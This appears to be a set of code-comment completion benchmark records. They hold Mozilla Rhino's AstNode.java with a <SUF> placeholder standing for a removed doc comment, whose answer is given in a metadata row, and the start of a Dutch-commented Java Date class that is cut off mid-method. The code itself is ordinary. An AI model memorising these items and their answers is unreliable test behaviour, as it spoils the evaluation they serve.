* @param depth the current recursion depth, typically beginning at 0 when called on the root
* node.
*/
public abstract String toSource(int depth);
/** Prints the source indented to depth 0. */
public String toSource() {
return this.toSource(0);
}
/**
* Constructs an indentation string.
*
* @param indent the number of indentation steps
*/
public String makeIndent(int indent) {
indent = Math.min(MAX_INDENT, Math.max(0, indent));
return INDENTATIONS[indent];
}
/** Returns a short, descriptive name for the node, such as "ArrayComprehension". */
public String shortName() {
String classname = getClass().getName();
int last = classname.lastIndexOf(".");
return classname.substring(last + 1);
}
/**
* Returns the string name for this operator.
*
* @param op the token type, e.g. {@link Token#ADD} or {@link Token#TYPEOF}
* @return the source operator string, such as "+" or "typeof"
*/
public static String operatorToString(int op) {
String result = operatorNames.get(op);
if (result == null) throw new IllegalArgumentException("Invalid operator: " + op);
return result;
}
/**
* Visits this node and its children in an arbitrary order.
*
* <p>It's up to each node subclass to decide the order for processing its children. The
* subclass also decides (and should document) which child nodes are not passed to the {@code
* NodeVisitor}. For instance, nodes representing keywords like {@code each} or {@code in} may
* not be passed to the visitor object. The visitor can simply query the current node for these
* children if desired.
*
* <p>Generally speaking, the order will be deterministic; the order is whatever order is
* decided by each child node. Normally child nodes will try to visit their children in lexical
* order, but there may be exceptions to this rule.
*
* <p>
*
* @param visitor the object to call with this node and its children
*/
public abstract void visit(NodeVisitor visitor);
// subclasses with potential side effects should override this
@Override
public boolean hasSideEffects() {
switch (getType()) {
case Token.ASSIGN:
case Token.ASSIGN_ADD:
case Token.ASSIGN_BITAND:
case Token.ASSIGN_BITOR:
case Token.ASSIGN_BITXOR:
case Token.ASSIGN_DIV:
case Token.ASSIGN_LSH:
case Token.ASSIGN_MOD:
case Token.ASSIGN_MUL:
case Token.ASSIGN_RSH:
case Token.ASSIGN_SUB:
case Token.ASSIGN_URSH:
case Token.BLOCK:
case Token.BREAK:
case Token.CALL:
case Token.CATCH:
case Token.CATCH_SCOPE:
case Token.CONST:
case Token.CONTINUE:
case Token.DEC:
case Token.DELPROP:
case Token.DEL_REF:
case Token.DO:
case Token.ELSE:
case Token.ENTERWITH:
case Token.ERROR: // Avoid cascaded error messages
case Token.EXPORT:
case Token.EXPR_RESULT:
case Token.FINALLY:
case Token.FUNCTION:
case Token.FOR:
case Token.GOTO:
case Token.IF:
case Token.IFEQ:
case Token.IFNE:
case Token.IMPORT:
case Token.INC:
case Token.JSR:
case Token.LABEL:
case Token.LEAVEWITH:
case Token.LET:
case Token.LETEXPR:
case Token.LOCAL_BLOCK:
case Token.LOOP:
case Token.NEW:
case Token.REF_CALL:
case Token.RETHROW:
case Token.RETURN:
case Token.RETURN_RESULT:
case Token.SEMI:
case Token.SETELEM:
case Token.SETELEM_OP:
case Token.SETNAME:
case Token.SETPROP:
case Token.SETPROP_OP:
case Token.SETVAR:
case Token.SET_REF:
case Token.SET_REF_OP:
case Token.SWITCH:
case Token.TARGET:
case Token.THROW:
case Token.TRY:
case Token.VAR:
case Token.WHILE:
case Token.WITH:
case Token.WITHEXPR:
case Token.YIELD:
case Token.YIELD_STAR:
return true;
default:
return false;
}
}
/**
* Bounces an IllegalArgumentException up if arg is {@code null}.
*
* @param arg any method argument
* @throws IllegalArgumentException if the argument is {@code null}
*/
protected void assertNotNull(Object arg) {
if (arg == null) throw new IllegalArgumentException("arg cannot be null");
}
/**
* Prints a comma-separated item list into a {@link StringBuilder}.
*
* @param items a list to print
* @param sb a {@link StringBuilder} into which to print
*/
protected <T extends AstNode> void printList(List<T> items, StringBuilder sb) {
int max = items.size();
int count = 0;
for (AstNode item : items) {
sb.append(item.toSource(0));
if (count++ < max - 1) {
sb.append(", ");
} else if (item instanceof EmptyExpression) {
sb.append(",");
}
}
}
/** @see Kit#codeBug */
public static RuntimeException codeBug() throws RuntimeException {
throw Kit.codeBug();
}
// TODO(stevey): think of a way to have polymorphic toString
// methods while keeping the ability to use Node.toString for
// dumping the IR with Token.printTrees. Most likely: change
// Node.toString to be Node.dumpTree and change callers to use that.
// For now, need original toString, to compare output to old Rhino's.
// @Override
// public String toString() {
// return this.getClass().getName() + ": " +
// Token.typeToName(getType());
// }
/**
* Returns the innermost enclosing function, or {@code null} if not in a function. Begins the
* search with this node's parent.
*
* @return the {@link FunctionNode} enclosing this node, else {@code null}
*/
public FunctionNode getEnclosingFunction() {
AstNode parent = this.getParent();
while (parent != null && !(parent instanceof FunctionNode)) {
parent = parent.getParent();
}
return (FunctionNode) parent;
}
/**
* Returns the innermost enclosing {@link Scope} node, or {@code null} if we're not nested in a
* scope. Begins the search with this node's parent. Note that this is not the same as the
* defining scope for a {@link Name}.
*
* @return the {@link Scope} enclosing this node, else {@code null}
*/
public Scope getEnclosingScope() {
AstNode parent = this.getParent();
while (parent != null && !(parent instanceof Scope)) {
parent = parent.getParent();
}
return (Scope) parent;
}
/**
* Permits AST nodes to be sorted based on start position and length. This makes it easy to sort
* Comment and Error nodes into a set of other AST nodes: just put them all into a {@link
* java.util.SortedSet}, for instance.
*
* @param other another node
* @return -1 if this node's start position is less than {@code other}'s start position. If
* tied, -1 if this node's length is less than {@code other}'s length. If the lengths are
* equal, sorts abitrarily on hashcode unless the nodes are the same per {@link #equals}.
*/
@Override
public int compareTo(AstNode other) {
if (this.equals(other)) return 0;
int abs1 = this.getAbsolutePosition();
int abs2 = other.getAbsolutePosition();
if (abs1 < abs2) return -1;
if (abs2 < abs1) return 1;
int len1 = this.getLength();
int len2 = other.getLength();
if (len1 < len2) return -1;
if (len2 < len1) return 1;
return this.hashCode() - other.hashCode();
}
/**
* Returns the depth of this node. The root is depth 0, its children are depth 1, and so on.
*
* @return the node depth in the tree
*/
public int depth() {
return parent == null ? 0 : 1 + parent.depth();
}
protected static class DebugPrintVisitor implements NodeVisitor {
private StringBuilder buffer;
private static final int DEBUG_INDENT = 2;
public DebugPrintVisitor(StringBuilder buf) {
buffer = buf;
}
@Override
public String toString() {
return buffer.toString();
}
private static String makeIndent(int depth) {
StringBuilder sb = new StringBuilder(DEBUG_INDENT * depth);
for (int i = 0; i < (DEBUG_INDENT * depth); i++) {
sb.append(" ");
}
return sb.toString();
}
@Override
public boolean visit(AstNode node) {
int tt = node.getType();
String name = Token.typeToName(tt);
buffer.append(node.getAbsolutePosition()).append("\t");
buffer.append(makeIndent(node.depth()));
buffer.append(name).append(" ");
buffer.append(node.getPosition()).append(" ");
buffer.append(node.getLength());
if (tt == Token.NAME) {
buffer.append(" ").append(((Name) node).getIdentifier());
} else if (tt == Token.STRING) {
buffer.append(" ").append(((StringLiteral) node).getValue(true));
}
buffer.append("\n");
return true; // process kids
}
}
/**
* Return the line number recorded for this node. If no line number was recorded, searches the
* parent chain.
*
* @return the nearest line number, or -1 if none was found
*/
@Override
public int getLineno() {
if (lineno != -1) return lineno;
if (parent != null) return parent.getLineno();
return -1;
}
/**
* Returns a debugging representation of the parse tree starting at this node.
*
* @return a very verbose indented printout of the tree. The format of each line is: abs-pos
* name position length [identifier]
*/
public String debugPrint() {
DebugPrintVisitor dpv = new DebugPrintVisitor(new StringBuilder(1000));
visit(dpv);
return dpv.toString();
}
public AstNode getInlineComment() {
return inlineComment;
}
public void setInlineComment(AstNode inlineComment) {
this.inlineComment = inlineComment;
}
}
| mozilla/rhino | src/org/mozilla/javascript/ast/AstNode.java | 6,163 | /** Sets node length */ | block_comment | nl | /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
package org.mozilla.javascript.ast;
import java.io.Serializable;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.mozilla.javascript.Kit;
import org.mozilla.javascript.Node;
import org.mozilla.javascript.Token;
/**
* Base class for AST node types. The goal of the AST is to represent the physical source code, to
* make it useful for code-processing tools such as IDEs or pretty-printers. The parser must not
* rewrite the parse tree when producing this representation.
*
* <p>The {@code AstNode} hierarchy sits atop the older {@link Node} class, which was designed for
* code generation. The {@code Node} class is a flexible, weakly-typed class suitable for creating
* and rewriting code trees, but using it requires you to remember the exact ordering of the child
* nodes, which are kept in a linked list. The {@code AstNode} hierarchy is a strongly-typed facade
* with named accessors for children and common properties, but under the hood it's still using a
* linked list of child nodes. It isn't a very good idea to use the child list directly unless you
* know exactly what you're doing. Note that {@code AstNode} records additional information,
* including the node's position, length, and parent node. Also, some {@code AstNode} subclasses
* record some of their child nodes in instance members, since they are not needed for code
* generation. In a nutshell, only the code generator should be mixing and matching {@code AstNode}
* and {@code Node} objects.
*
* <p>All offset fields in all subclasses of AstNode are relative to their parent. For things like
* paren, bracket and keyword positions, the position is relative to the current node. The node
* start position is relative to the parent node.
*
* <p>During the actual parsing, node positions are absolute; adding the node to its parent fixes up
* the offsets to be relative. By the time you see the AST (e.g. using the {@code Visitor}
* interface), the offsets are relative.
*
* <p>{@code AstNode} objects have property lists accessible via the {@link #getProp} and {@link
* #putProp} methods. The property lists are integer-keyed with arbitrary {@code Object} values. For
* the most part the parser generating the AST avoids using properties, preferring fields for
* elements that are always set. Property lists are intended for user-defined annotations to the
* tree. The Rhino code generator acts as a client and uses node properties extensively. You are
* welcome to use the property-list API for anything your client needs.
*
* <p>This hierarchy does not have separate branches for expressions and statements, as the
* distinction in JavaScript is not as clear-cut as in Java or C++.
*/
public abstract class AstNode extends Node implements Comparable<AstNode> {
protected int position = -1;
protected int length = 1;
protected AstNode parent;
/*
* Holds comments that are on same line as of actual statement e.g.
* For a for loop
* 1) for(var i=0; i<10; i++) //test comment { }
* 2) for(var i=0; i<10; i++)
* //test comment
* //test comment 2
* { }
* For If Statement
* 1) if (x == 2) //test if comment
* a = 3 + 4; //then comment
* and so on
*/
protected AstNode inlineComment;
private static Map<Integer, String> operatorNames = new HashMap<>();
private static final int MAX_INDENT = 42;
private static final String[] INDENTATIONS = new String[MAX_INDENT + 1];
static {
operatorNames.put(Token.IN, "in");
operatorNames.put(Token.TYPEOF, "typeof");
operatorNames.put(Token.INSTANCEOF, "instanceof");
operatorNames.put(Token.DELPROP, "delete");
operatorNames.put(Token.COMMA, ",");
operatorNames.put(Token.COLON, ":");
operatorNames.put(Token.OR, "||");
operatorNames.put(Token.AND, "&&");
operatorNames.put(Token.INC, "++");
operatorNames.put(Token.DEC, "--");
operatorNames.put(Token.BITOR, "|");
operatorNames.put(Token.BITXOR, "^");
operatorNames.put(Token.BITAND, "&");
operatorNames.put(Token.EQ, "==");
operatorNames.put(Token.NE, "!=");
operatorNames.put(Token.LT, "<");
operatorNames.put(Token.GT, ">");
operatorNames.put(Token.LE, "<=");
operatorNames.put(Token.GE, ">=");
operatorNames.put(Token.LSH, "<<");
operatorNames.put(Token.RSH, ">>");
operatorNames.put(Token.URSH, ">>>");
operatorNames.put(Token.ADD, "+");
operatorNames.put(Token.SUB, "-");
operatorNames.put(Token.MUL, "*");
operatorNames.put(Token.DIV, "/");
operatorNames.put(Token.MOD, "%");
operatorNames.put(Token.EXP, "**");
operatorNames.put(Token.NOT, "!");
operatorNames.put(Token.BITNOT, "~");
operatorNames.put(Token.POS, "+");
operatorNames.put(Token.NEG, "-");
operatorNames.put(Token.SHEQ, "===");
operatorNames.put(Token.SHNE, "!==");
operatorNames.put(Token.ASSIGN, "=");
operatorNames.put(Token.ASSIGN_BITOR, "|=");
operatorNames.put(Token.ASSIGN_BITAND, "&=");
operatorNames.put(Token.ASSIGN_LSH, "<<=");
operatorNames.put(Token.ASSIGN_RSH, ">>=");
operatorNames.put(Token.ASSIGN_URSH, ">>>=");
operatorNames.put(Token.ASSIGN_ADD, "+=");
operatorNames.put(Token.ASSIGN_SUB, "-=");
operatorNames.put(Token.ASSIGN_MUL, "*=");
operatorNames.put(Token.ASSIGN_DIV, "/=");
operatorNames.put(Token.ASSIGN_MOD, "%=");
operatorNames.put(Token.ASSIGN_BITXOR, "^=");
operatorNames.put(Token.ASSIGN_EXP, "**=");
operatorNames.put(Token.VOID, "void");
StringBuilder sb = new StringBuilder();
INDENTATIONS[0] = sb.toString();
for (int i = 1; i <= MAX_INDENT; i++) {
sb.append(" ");
INDENTATIONS[i] = sb.toString();
}
}
public static class PositionComparator implements Comparator<AstNode>, Serializable {
private static final long serialVersionUID = 1L;
/**
* Sorts nodes by (relative) start position. The start positions are relative to their
* parent, so this comparator is only meaningful for comparing siblings.
*/
@Override
public int compare(AstNode n1, AstNode n2) {
return n1.position - n2.position;
}
}
public AstNode() {
super(Token.ERROR);
}
/**
* Constructs a new AstNode
*
* @param pos the start position
*/
public AstNode(int pos) {
this();
position = pos;
}
/**
* Constructs a new AstNode
*
* @param pos the start position
* @param len the number of characters spanned by the node in the source text
*/
public AstNode(int pos, int len) {
this();
position = pos;
length = len;
}
/** Returns relative position in parent */
public int getPosition() {
return position;
}
/** Sets relative position in parent */
public void setPosition(int position) {
this.position = position;
}
/**
* Returns the absolute document position of the node. Computes it by adding the node's relative
* position to the relative positions of all its parents.
*/
public int getAbsolutePosition() {
int pos = position;
AstNode parent = this.parent;
while (parent != null) {
pos += parent.getPosition();
parent = parent.getParent();
}
return pos;
}
/** Returns node length */
public int getLength() {
return length;
}
/** Sets node length<SUF>*/
public void setLength(int length) {
this.length = length;
}
/**
* Sets the node start and end positions. Computes the length as ({@code end} - {@code
* position}).
*/
public void setBounds(int position, int end) {
setPosition(position);
setLength(end - position);
}
/**
* Make this node's position relative to a parent. Typically only used by the parser when
* constructing the node.
*
* @param parentPosition the absolute parent position; the current node position is assumed to
* be absolute and is decremented by parentPosition.
*/
public void setRelative(int parentPosition) {
this.position -= parentPosition;
}
/** Returns the node parent, or {@code null} if it has none */
public AstNode getParent() {
return parent;
}
/**
* Sets the node parent. This method automatically adjusts the current node's start position to
* be relative to the new parent.
*
* @param parent the new parent. Can be {@code null}.
*/
public void setParent(AstNode parent) {
if (parent == this.parent) {
return;
}
// Convert position back to absolute.
if (this.parent != null) {
setRelative(-this.parent.getAbsolutePosition());
}
this.parent = parent;
if (parent != null) {
setRelative(parent.getAbsolutePosition());
}
}
/**
* Adds a child or function to the end of the block. Sets the parent of the child to this node,
* and fixes up the start position of the child to be relative to this node. Sets the length of
* this node to include the new child.
*
* @param kid the child
* @throws IllegalArgumentException if kid is {@code null}
*/
public void addChild(AstNode kid) {
assertNotNull(kid);
int end = kid.getPosition() + kid.getLength();
setLength(end - this.getPosition());
addChildToBack(kid);
kid.setParent(this);
}
/**
* Returns the root of the tree containing this node.
*
* @return the {@link AstRoot} at the root of this node's parent chain, or {@code null} if the
* topmost parent is not an {@code AstRoot}.
*/
public AstRoot getAstRoot() {
AstNode parent = this; // this node could be the AstRoot
while (parent != null && !(parent instanceof AstRoot)) {
parent = parent.getParent();
}
return (AstRoot) parent;
}
/**
* Emits source code for this node. Callee is responsible for calling this function recursively
* on children, incrementing indent as appropriate.
*
* <p>Note: if the parser was in error-recovery mode, some AST nodes may have {@code null}
* children that are expected to be non-{@code null} when no errors are present. In this
* situation, the behavior of the {@code toSource} method is undefined: {@code toSource}
* implementations may assume that the AST node is error-free, since it is intended to be
* invoked only at runtime after a successful parse.
*
* <p>
*
* @param depth the current recursion depth, typically beginning at 0 when called on the root
* node.
*/
public abstract String toSource(int depth);
/** Prints the source indented to depth 0. */
public String toSource() {
return this.toSource(0);
}
/**
* Constructs an indentation string.
*
* @param indent the number of indentation steps
*/
public String makeIndent(int indent) {
indent = Math.min(MAX_INDENT, Math.max(0, indent));
return INDENTATIONS[indent];
}
/** Returns a short, descriptive name for the node, such as "ArrayComprehension". */
public String shortName() {
String classname = getClass().getName();
int last = classname.lastIndexOf(".");
return classname.substring(last + 1);
}
/**
* Returns the string name for this operator.
*
* @param op the token type, e.g. {@link Token#ADD} or {@link Token#TYPEOF}
* @return the source operator string, such as "+" or "typeof"
*/
public static String operatorToString(int op) {
String result = operatorNames.get(op);
if (result == null) throw new IllegalArgumentException("Invalid operator: " + op);
return result;
}
/**
* Visits this node and its children in an arbitrary order.
*
* <p>It's up to each node subclass to decide the order for processing its children. The
* subclass also decides (and should document) which child nodes are not passed to the {@code
* NodeVisitor}. For instance, nodes representing keywords like {@code each} or {@code in} may
* not be passed to the visitor object. The visitor can simply query the current node for these
* children if desired.
*
* <p>Generally speaking, the order will be deterministic; the order is whatever order is
* decided by each child node. Normally child nodes will try to visit their children in lexical
* order, but there may be exceptions to this rule.
*
* <p>
*
* @param visitor the object to call with this node and its children
*/
public abstract void visit(NodeVisitor visitor);
// subclasses with potential side effects should override this
@Override
public boolean hasSideEffects() {
switch (getType()) {
case Token.ASSIGN:
case Token.ASSIGN_ADD:
case Token.ASSIGN_BITAND:
case Token.ASSIGN_BITOR:
case Token.ASSIGN_BITXOR:
case Token.ASSIGN_DIV:
case Token.ASSIGN_LSH:
case Token.ASSIGN_MOD:
case Token.ASSIGN_MUL:
case Token.ASSIGN_RSH:
case Token.ASSIGN_SUB:
case Token.ASSIGN_URSH:
case Token.BLOCK:
case Token.BREAK:
case Token.CALL:
case Token.CATCH:
case Token.CATCH_SCOPE:
case Token.CONST:
case Token.CONTINUE:
case Token.DEC:
case Token.DELPROP:
case Token.DEL_REF:
case Token.DO:
case Token.ELSE:
case Token.ENTERWITH:
case Token.ERROR: // Avoid cascaded error messages
case Token.EXPORT:
case Token.EXPR_RESULT:
case Token.FINALLY:
case Token.FUNCTION:
case Token.FOR:
case Token.GOTO:
case Token.IF:
case Token.IFEQ:
case Token.IFNE:
case Token.IMPORT:
case Token.INC:
case Token.JSR:
case Token.LABEL:
case Token.LEAVEWITH:
case Token.LET:
case Token.LETEXPR:
case Token.LOCAL_BLOCK:
case Token.LOOP:
case Token.NEW:
case Token.REF_CALL:
case Token.RETHROW:
case Token.RETURN:
case Token.RETURN_RESULT:
case Token.SEMI:
case Token.SETELEM:
case Token.SETELEM_OP:
case Token.SETNAME:
case Token.SETPROP:
case Token.SETPROP_OP:
case Token.SETVAR:
case Token.SET_REF:
case Token.SET_REF_OP:
case Token.SWITCH:
case Token.TARGET:
case Token.THROW:
case Token.TRY:
case Token.VAR:
case Token.WHILE:
case Token.WITH:
case Token.WITHEXPR:
case Token.YIELD:
case Token.YIELD_STAR:
return true;
default:
return false;
}
}
/**
* Bounces an IllegalArgumentException up if arg is {@code null}.
*
* @param arg any method argument
* @throws IllegalArgumentException if the argument is {@code null}
*/
protected void assertNotNull(Object arg) {
if (arg == null) throw new IllegalArgumentException("arg cannot be null");
}
/**
* Prints a comma-separated item list into a {@link StringBuilder}.
*
* @param items a list to print
* @param sb a {@link StringBuilder} into which to print
*/
protected <T extends AstNode> void printList(List<T> items, StringBuilder sb) {
int max = items.size();
int count = 0;
for (AstNode item : items) {
sb.append(item.toSource(0));
if (count++ < max - 1) {
sb.append(", ");
} else if (item instanceof EmptyExpression) {
sb.append(",");
}
}
}
/** @see Kit#codeBug */
public static RuntimeException codeBug() throws RuntimeException {
throw Kit.codeBug();
}
// TODO(stevey): think of a way to have polymorphic toString
// methods while keeping the ability to use Node.toString for
// dumping the IR with Token.printTrees. Most likely: change
// Node.toString to be Node.dumpTree and change callers to use that.
// For now, need original toString, to compare output to old Rhino's.
// @Override
// public String toString() {
// return this.getClass().getName() + ": " +
// Token.typeToName(getType());
// }
/**
* Returns the innermost enclosing function, or {@code null} if not in a function. Begins the
* search with this node's parent.
*
* @return the {@link FunctionNode} enclosing this node, else {@code null}
*/
public FunctionNode getEnclosingFunction() {
AstNode parent = this.getParent();
while (parent != null && !(parent instanceof FunctionNode)) {
parent = parent.getParent();
}
return (FunctionNode) parent;
}
/**
* Returns the innermost enclosing {@link Scope} node, or {@code null} if we're not nested in a
* scope. Begins the search with this node's parent. Note that this is not the same as the
* defining scope for a {@link Name}.
*
* @return the {@link Scope} enclosing this node, else {@code null}
*/
public Scope getEnclosingScope() {
AstNode parent = this.getParent();
while (parent != null && !(parent instanceof Scope)) {
parent = parent.getParent();
}
return (Scope) parent;
}
/**
* Permits AST nodes to be sorted based on start position and length. This makes it easy to sort
* Comment and Error nodes into a set of other AST nodes: just put them all into a {@link
* java.util.SortedSet}, for instance.
*
* @param other another node
* @return -1 if this node's start position is less than {@code other}'s start position. If
* tied, -1 if this node's length is less than {@code other}'s length. If the lengths are
* equal, sorts abitrarily on hashcode unless the nodes are the same per {@link #equals}.
*/
@Override
public int compareTo(AstNode other) {
if (this.equals(other)) return 0;
int abs1 = this.getAbsolutePosition();
int abs2 = other.getAbsolutePosition();
if (abs1 < abs2) return -1;
if (abs2 < abs1) return 1;
int len1 = this.getLength();
int len2 = other.getLength();
if (len1 < len2) return -1;
if (len2 < len1) return 1;
return this.hashCode() - other.hashCode();
}
/**
* Returns the depth of this node. The root is depth 0, its children are depth 1, and so on.
*
* @return the node depth in the tree
*/
public int depth() {
return parent == null ? 0 : 1 + parent.depth();
}
protected static class DebugPrintVisitor implements NodeVisitor {
private StringBuilder buffer;
private static final int DEBUG_INDENT = 2;
public DebugPrintVisitor(StringBuilder buf) {
buffer = buf;
}
@Override
public String toString() {
return buffer.toString();
}
private static String makeIndent(int depth) {
StringBuilder sb = new StringBuilder(DEBUG_INDENT * depth);
for (int i = 0; i < (DEBUG_INDENT * depth); i++) {
sb.append(" ");
}
return sb.toString();
}
@Override
public boolean visit(AstNode node) {
int tt = node.getType();
String name = Token.typeToName(tt);
buffer.append(node.getAbsolutePosition()).append("\t");
buffer.append(makeIndent(node.depth()));
buffer.append(name).append(" ");
buffer.append(node.getPosition()).append(" ");
buffer.append(node.getLength());
if (tt == Token.NAME) {
buffer.append(" ").append(((Name) node).getIdentifier());
} else if (tt == Token.STRING) {
buffer.append(" ").append(((StringLiteral) node).getValue(true));
}
buffer.append("\n");
return true; // process kids
}
}
/**
* Return the line number recorded for this node. If no line number was recorded, searches the
* parent chain.
*
* @return the nearest line number, or -1 if none was found
*/
@Override
public int getLineno() {
if (lineno != -1) return lineno;
if (parent != null) return parent.getLineno();
return -1;
}
/**
* Returns a debugging representation of the parse tree starting at this node.
*
* @return a very verbose indented printout of the tree. The format of each line is: abs-pos
* name position length [identifier]
*/
public String debugPrint() {
DebugPrintVisitor dpv = new DebugPrintVisitor(new StringBuilder(1000));
visit(dpv);
return dpv.toString();
}
public AstNode getInlineComment() {
return inlineComment;
}
public void setInlineComment(AstNode inlineComment) {
this.inlineComment = inlineComment;
}
}
|
22229_28 | package utilities;
//import org.apache.log4j.lf5.LogLevel;
import org.apache.log4j.Level;
import persistency.logging.BaseLogger;
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.StringTokenizer;
/**
* Deze class representeert een datum object en voorziet elementaire testen
*
* @author Mathy Paesen
* @date 24 september 2009
*/
public class Date implements Comparable<Date> {
public static final int LONG_JUL = 1000;
// berekening van Julian datum
public static final int LEAP_YEAR = 366;
public static final int NORMAL_YEAR = 365;
public static final int AANTAL_MAANDEN = 12;
public static final int CORRECTIE_MAAND = 1;
// maanden worden bewaard van 0 - 11
public static final int EERSTE_MAAND = 0;
public static final int LAATSTE_MAAND = 11;
public static final int DATUM_CORRECT = 0;
public static final int DAG_KLEINER = -1;
public static final int MAAND_KLEINER = -2;
public static final int JAAR_KLEINER = -3;
public static final int DAG_GROTER = 1;
public static final int MAAND_GROTER = 2;
public static final int JAAR_GROTER = 3;
public static final String SEPARATOR = "/";
public static final String[] MAAND_TEXT = {"Januari", "Februari", "Maart",
"April", "Mei", "Juni", "Juli", "Augustus", "September", "Oktober",
"November", "December"};
private int dag;
private int maand;
private int jaar;
private long longDate;
public Date() throws DatumException {
GregorianCalendar gc;
gc = new GregorianCalendar();
this.setDag(gc.get(Calendar.DATE));
this.setMaand(gc.get(Calendar.MONTH));
this.setJaar(gc.get(Calendar.YEAR));
testDatum();
}
public Date(long l) throws DatumException {
Calendar cal = new GregorianCalendar();
cal.setTime(new java.util.Date(l));
this.setDag(cal.get(Calendar.DATE));
this.setMaand(cal.get(Calendar.MONTH));
this.setJaar(cal.get(Calendar.YEAR));
testDatum();
}
public Date(int dag, int maand, int jaar) throws DatumException {
super();
this.setDag(dag);
this.setMaand(maand);
this.setJaar(jaar);
testDatum();
}
public Date(Date date) throws DatumException {
this(date.getDag(), date.getMaand(), date.getJaar());
testDatum();
}
public Date(String datum) throws DatumException {
/* DD/MM/JJJJ */
StringTokenizer tokenizer = new StringTokenizer(datum, SEPARATOR);
int i = 0;
while (tokenizer.hasMoreTokens()) {
switch (i) {
case 0:
this.setDag(Integer.parseInt((String) tokenizer.nextElement()));
break;
case 1:
this.setMaand(Integer.parseInt((String) tokenizer.nextElement()));
// maanden worden bewaard van 0 - 11
break;
case 2:
this.setJaar(Integer.parseInt((String) tokenizer.nextElement()));
break;
default:
this.setDag(0);
this.setMaand(0);
this.setJaar(0);
}
i++;
}
testDatum();
}
/**
* Geeft steeds de laatste dag van de maand
*
* @return Date
* @throws DatumException
*/
public static Date laatsteDagVanDeMaand(Date date) throws DatumException {
GregorianCalendar gc = new GregorianCalendar(date.jaar, date.maand,
date.getDag());
int dagVanDeMaand = gc.get(Calendar.DAY_OF_MONTH);
gc.add(Calendar.MONTH, 1);
gc.add(Calendar.DAY_OF_MONTH, -dagVanDeMaand);
return new Date(gc.get(Calendar.DATE), gc.get(Calendar.MONTH),
gc.get(Calendar.YEAR));
// GregorianCalendar kent enkel maanden tussen 0-11
}
/**
* @return Date[]
*/
public static Date[] sorteerDatums(Date[] datums) {
Date hulp;
for (int i = 0; i < datums.length - 1; i++) {
for (int j = 0; j < datums.length - 1; j++) {
if (datums[j + 1].kleinerDan(datums[j])) {
hulp = datums[j];
datums[j] = datums[j + 1];
datums[j + 1] = hulp;
}
}
}
return datums;
}
/**
* Indien een datum object niet correct is wordt een DatumException
* gegenereerd
*
* @throws DatumException
*/
private void testDatum() throws DatumException {
// maand 0-11
GregorianCalendar testDatum = new GregorianCalendar(this.jaar,
this.maand, this.dag);
testDatum.setLenient(false);// enkel correcte datums toegelaten (geen
// omrekening)
try {
testDatum.get(Calendar.YEAR);
testDatum.get(Calendar.MONTH);
testDatum.get(Calendar.DAY_OF_MONTH);
} catch (Exception e) {
throw new DatumException(this);
}
longDate = testDatum.getTime().getTime();
}
public int getDag() {
return dag;
}
public void setDag(int dag) {
this.dag = dag;
}
public int getMaand() {
return maand; // maanden worden bewaard van 0 - 11
}
public void setMaand(int maand) {
this.maand = maand;
}
public int getJaar() {
return jaar;
}
public void setJaar(int jaar) {
this.jaar = jaar;
}
/**
* Enkel correcte data mogen toegelaten worden.
*
* @param jaar
* @param maand
* @param dag
* @return true, false
*/
public boolean setDatum(int dag, int maand, int jaar) {
boolean correct = false;
try {
new Date(dag, maand, jaar);
this.setDag(dag);
this.setMaand(maand);
this.setJaar(jaar);
correct = true;
} catch (DatumException e) {
correct = false;
System.err.println("[" + jaar + SEPARATOR + maand + SEPARATOR + dag
+ "]" + e);
BaseLogger.logMsg("[" + jaar + SEPARATOR + maand + SEPARATOR + dag
+ "]" + e, Level.DEBUG);
}
return correct;
}
/**
* Date in USA formaat
*
* @return MM/DD/YYYY
*/
public String getDatumInAmerikaansFormaat() {
return String.format("%s%s%s",
getMaand() + CORRECTIE_MAAND + SEPARATOR, getDag() + SEPARATOR,
getJaar());
}
/**
* Date in EUR formaat
*
* @return DD/MM/YYYY
*/
public String getDatumInEuropeesFormaat() {
return String.format("%s%s%s", getDag() + SEPARATOR, getMaand()
+ CORRECTIE_MAAND + SEPARATOR, getJaar());
}
/**
* @return Januari, ..., December
*/
public String getMaandText() {
if (getMaand() > LAATSTE_MAAND || getMaand() < EERSTE_MAAND) {
return "Verkeerde maand";
}
return MAAND_TEXT[getMaand()];
}
/*
* String representatie van deze datum
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
return getDag() + " " + getMaandText() + " " + getJaar();
}
public String toString(String sep) {
return getDag() + sep + getMaand() + sep + getJaar();
}
/**
* Is deze datum gelijk aan een ander datum object
*
* @param date
* @return
*/
public boolean equals(Date date) {
if (this.getDag() != date.getDag()) {
return false;
} else if (this.getMaand() != date.getMaand()) {
return false;
} else return this.getJaar() == date.getJaar();
}
/**
* 0 Deze datum en de parameter datum zijn gelijk -1 Als de dag van de maand
* van deze datum kleiner is dan die van een ander datum object -2 Als de
* maand van deze datum kleiner is dan die van een ander datum object -3 Als
* het jaar van deze datum kleiner is dan die van een ander datum object
*
* @param date
* @return -1, -2, -3, 0
*/
public int compareTo(Date date) {
if (this.getJaar() < date.getJaar()) {
return JAAR_KLEINER;
}
if (this.getJaar() > date.getJaar()) {
return JAAR_GROTER;
}
if (this.getMaand() < date.getMaand()) {
return MAAND_KLEINER;
}
if (this.getMaand() > date.getMaand()) {
return MAAND_GROTER;
}
if (this.getDag() < date.getDag()) {
return DAG_KLEINER;
}
if (this.getDag() > date.getDag()) {
return DAG_GROTER;
}
return DATUM_CORRECT;
}
/**
* Is deze datum kleiner dan een ander datum object
*
* @param date
* @return
*/
public boolean kleinerDan(Date date) {
return this.compareTo(date) < DATUM_CORRECT;
}
/**
* Bereken het verschil in jaren tussen deze datum en een ander datum object
*
* @param date
* @return
*/
public int verschilInJaren(Date date) {
return this.getJaar() - date.getJaar();
}
/**
* Bereken het verschil in maanden tussen deze datum en een ander datum
* object
*
* @param date
* @return
*/
public int verschilInMaanden(Date date) {
int verschil = this.verschilInJaren(date);
verschil *= AANTAL_MAANDEN;
verschil += (this.getMaand() - date.getMaand());
return verschil;
}
/**
* Bereken het verschil in dagen tussen deze datum en een ander datum object
*
* @param date
* @return
*/
public int verschilInDagen(Date date) {
int verschil = 0;
Date test;
try {
test = new Date(this);
for (int i = 0; i < this.verschilInJaren(date); i++) {
test.setJaar(test.getJaar() - 1);
verschil += test.aantalDagen();
}
} catch (DatumException e) {
